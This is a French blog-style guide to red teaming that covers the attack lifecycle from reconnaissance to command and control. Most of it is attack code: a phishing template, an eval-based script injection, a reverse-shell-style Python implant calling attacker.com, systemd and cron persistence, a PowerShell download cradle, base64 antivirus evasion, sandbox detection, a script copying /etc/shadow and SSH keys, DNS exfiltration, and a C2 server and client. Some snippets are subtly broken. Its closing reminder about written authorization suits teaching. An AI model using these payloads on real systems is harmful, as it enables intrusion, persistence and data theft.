Red Teaming Avancé : Guide des Techniques d'Attaque Simulées
Explorez les techniques avancées de red teaming, des méthodologies d'attaque et des outils pour simuler des cyberattaques réalistes.
InSkillCoach
Red Teaming Avancé : Guide des Techniques d’Attaque Simulées
Le red teaming est une approche sophistiquée de la cybersécurité qui simule des attaques réalistes. Ce guide explore les techniques avancées utilisées par les équipes rouges professionnelles.
1. Préparation et Planification
Évaluation de la Surface d’Attaque
# Cartographie des actifs
amass enum -passive -d target.com
subfinder -d target.com
assetfinder target.com
# Analyse des ports et services
masscan -p1-65535 target.com --rate=1000
Intelligence sur les Menaces
# Recherche d'informations sensibles
theHarvester -d target.com -b all
maltego
# Analyse des certificats SSL
sslscan target.com
2. Techniques d’Initial Access
Phishing Avancé
<!-- Template de spear phishing -->
<!DOCTYPE html>
<html>
<head>
<title>Document Important</title>
<style>
.email-content {
font-family: Arial;
max-width: 600px;
margin: 0 auto;
}
.header {
background: #f8f9fa;
padding: 20px;
}
.content {
padding: 20px;
}
</style>
</head>
<body>
<div class="email-content">
<div class="header">
<img src="logo.png" alt="Logo">
</div>
<div class="content">
<p>Cher [Nom],</p>
<p>Veuillez examiner le document joint.</p>
<a href="http://attacker.com/malicious">Voir le document</a>
</div>
</div>
</body>
</html>
Watering Hole
// Injection de code malveillant
<script>
(function() {
var payload = "base64_encoded_payload";
var decoder = new TextDecoder();
var decoded = atob(payload);
eval(decoded);
})();
</script>
3. Exécution et Persistance
Malware Personnalisé
# Exemple de malware simple
import socket
import subprocess
import os
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("attacker.com", 4444))
return s
def execute_command(s, command):
s.send(command.encode())
while True:
data = s.recv(1024)
if data.decode() == "exit":
break
subprocess.Popen(data.decode(), shell=True)
def main():
s = connect()
execute_command(s, "whoami")
s.close()
if __name__ == "__main__":
main()
Techniques de Persistance
# Création d'un service système
cat > /etc/systemd/system/malicious.service << EOF
[Unit]
Description=System Service
After=network.target
[Service]
Type=simple
ExecStart=/usr/bin/python3 /opt/malware.py
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable malicious.service
systemctl start malicious.service
4. Élévation de Privilèges
Windows
# Recherche de vulnérabilités
powershell -ep bypass -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/PrivEsc.ps1')"
# Exploitation de services
sc config service_name binPath= "C:\Windows\System32\cmd.exe /c net user admin password /add"
Linux
# Recherche de SUID
find / -perm -4000 -type f 2>/dev/null
# Exploitation de cron
echo "* * * * * root /usr/bin/python3 /tmp/malware.py" > /etc/cron.d/malicious
5. Défense Évasion
Anti-Virus Evasion
# Obfuscation de code
import base64
import zlib
def obfuscate(code):
return base64.b64encode(zlib.compress(code.encode()))
def deobfuscate(encoded):
return zlib.decompress(base64.b64decode(encoded)).decode()
# Exemple d'utilisation
malicious_code = """
import socket
s = socket.socket()
s.connect(('attacker.com', 4444))
"""
encoded = obfuscate(malicious_code)
exec(deobfuscate(encoded))
Détection de Sandbox
def check_sandbox():
# Vérification de la mémoire
import psutil
if psutil.virtual_memory().total < 2 * 1024 * 1024 * 1024: # 2GB
return True
# Vérification des processus
suspicious_processes = ['wireshark', 'processhacker', 'procmon']
for proc in psutil.process_iter(['name']):
if proc.info['name'].lower() in suspicious_processes:
return True
return False
6. Discovery et Lateral Movement
Cartographie du Réseau
# Découverte des hôtes
nmap -sn 192.168.1.0/24
# Découverte des services
nmap -sV -p- 192.168.1.100
# Découverte des partages
smbmap -H 192.168.1.100
Pivotage
# Création d'un tunnel SSH
ssh -D 1080 user@target.com
# Utilisation avec proxychains
proxychains nmap -sT -p- internal.network
7. Collection et Exfiltration
Vol de Données
# Exemple de script de collection
import os
import shutil
from datetime import datetime
def collect_data():
sensitive_paths = [
'/etc/passwd',
'/etc/shadow',
'/home/user/.ssh/',
'/var/log/'
]
output_dir = f'/tmp/collection_{datetime.now().strftime("%Y%m%d_%H%M%S")}'
os.makedirs(output_dir, exist_ok=True)
for path in sensitive_paths:
if os.path.exists(path):
shutil.copy2(path, output_dir)
Exfiltration
# Compression et chiffrement
tar czf data.tar.gz /sensitive/data
gpg --encrypt data.tar.gz
# Transfert via DNS
for chunk in $(base64 data.tar.gz.gpg | tr -d '\n' | fold -w 32); do
dig $chunk.attacker.com
done
8. Command & Control
C2 Personnalisé
# Serveur C2 simple
from flask import Flask, request
import subprocess
app = Flask(__name__)
@app.route('/cmd', methods=['POST'])
def execute_command():
cmd = request.form.get('cmd')
output = subprocess.check_output(cmd, shell=True)
return output
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
Communication C2
# Client C2
import requests
import time
def connect_to_c2():
while True:
try:
cmd = requests.get('http://attacker.com/cmd').text
output = subprocess.check_output(cmd, shell=True)
requests.post('http://attacker.com/output', data={'output': output})
except:
time.sleep(60)
Conclusion
Le red teaming est une discipline complexe qui nécessite :
- Une connaissance approfondie des systèmes
- Des techniques d’attaque sophistiquées
- Des outils personnalisés
- Une méthodologie rigoureuse
- Une documentation précise
Points clés à retenir :
- Toujours obtenir une autorisation écrite
- Documenter toutes les actions
- Respecter les limites définies
- Maintenir une approche éthique
- Fournir des rapports détaillés
À propos de InSkillCoach
Expert en formation et technologies
Coach spécialisé dans les technologies avancées et l'IA, porté par GNeurone Inc.
Certifications:
- AWS Certified Solutions Architect – Professional
- Certifications Google Cloud
- Microsoft Certified: DevOps Engineer Expert
- Certified Kubernetes Administrator (CKA)
- CompTIA Security+
Commentaires
Les commentaires sont alimentés par GitHub Discussions
Connectez-vous avec GitHub pour participer à la discussion